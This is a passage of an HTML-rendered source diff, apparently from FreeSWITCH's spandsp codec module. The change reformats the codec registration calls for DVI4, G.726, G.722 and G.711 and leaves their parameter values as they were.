-                                                                                         (ebpf * count) + 4,                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_adpcm_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_adpcm_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_adpcm_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_adpcm_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         5,        /* the IANA code number */
+                                                                                         &quot;DVI4&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         (ebpf * count) + 4,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_adpcm_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_adpcm_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_adpcm_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_adpcm_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         mpf = 10000, spf = 160, bpf = 320, ebpf = 160;
</span><span class="cx">         for (count = 6; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         6,                                                        /* the IANA code number */
-                                                                                         &quot;DVI4&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         16000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         (ebpf * count) + 4,                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_adpcm_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_adpcm_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_adpcm_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_adpcm_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         6,        /* the IANA code number */
+                                                                                         &quot;DVI4&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         16000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         (ebpf * count) + 4,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_adpcm_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_adpcm_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_adpcm_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_adpcm_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* G726 */
</span><span class="cx">         mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.726 16k (AAL2)&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         124,                                                /* the IANA code number */
-                                                                                         &quot;AAL2-G726-16&quot;,                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         16000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         124,        /* the IANA code number */
+                                                                                         &quot;AAL2-G726-16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         16000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.726 16k&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         124,                                                /* the IANA code number */
-                                                                                         &quot;G726-16&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         16000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         124,        /* the IANA code number */
+                                                                                         &quot;G726-16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         16000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* Increase encoded bytes per frame by 10 */
</span><span class="cx">         ebpf = ebpf + 10;
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.726 24k (AAL2)&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         123,                                                /* the IANA code number */
-                                                                                         &quot;AAL2-G726-24&quot;,                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         24000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         123,        /* the IANA code number */
+                                                                                         &quot;AAL2-G726-24&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         24000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.726 24k&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         123,                                                /* the IANA code number */
-                                                                                         &quot;G726-24&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         24000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         123,        /* the IANA code number */
+                                                                                         &quot;G726-24&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         24000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* Increase encoded bytes per frame by 10 */
</span><span class="cx">         ebpf = ebpf + 10;
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.726 32k (AAL2)&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         122,                                                /* the IANA code number */
-                                                                                         &quot;AAL2-G726-32&quot;,                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         122,        /* the IANA code number */
+                                                                                         &quot;AAL2-G726-32&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.726 32k&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         122,                                                /* the IANA code number */
-                                                                                         &quot;G726-32&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         122,        /* the IANA code number */
+                                                                                         &quot;G726-32&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* Increase encoded bytes per frame by 10 */
</span><span class="cx">         ebpf = ebpf + 10;
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.726 40k (AAL2)&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         121,                                                /* the IANA code number */
-                                                                                         &quot;AAL2-G726-40&quot;,                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         40000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         121,        /* the IANA code number */
+                                                                                         &quot;AAL2-G726-40&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         40000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.726 40k&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         121,                                                /* the IANA code number */
-                                                                                         &quot;G726-40&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         40000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         121,        /* the IANA code number */
+                                                                                         &quot;G726-40&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         40000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* G722 */
</span><span class="cx">         mpf = 10000, spf = 80, bpf = 320, ebpf = 80;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.722&quot;);
</span><span class="cx">         for (count = 6; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         9,                                                        /* the IANA code number */
-                                                                                         &quot;G722&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g722_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g722_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g722_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g722_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         9,        /* the IANA code number */
+                                                                                         &quot;G722&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g722_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g722_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g722_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g722_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> #ifdef ENABLE_G711
</span><span class="lines">@@ -881,48 +869,44 @@
</span><span class="cx">         mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.711 ulaw&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         0,                                                        /* the IANA code number */
-                                                                                         &quot;PCMU&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g711u_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g711u_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g711u_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g711u_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         0,        /* the IANA code number */
+                                                                                         &quot;PCMU&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g711u_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g711u_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g711u_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g711u_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;G.711 alaw&quot;);
</span><span class="cx">         for (count = 12; count &gt; 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         8,                                                        /* the IANA code number */
-                                                                                         &quot;PCMA&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g711a_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g711a_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g711a_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g711a_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         8,        /* the IANA code number */
+                                                                                         &quot;PCMA&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
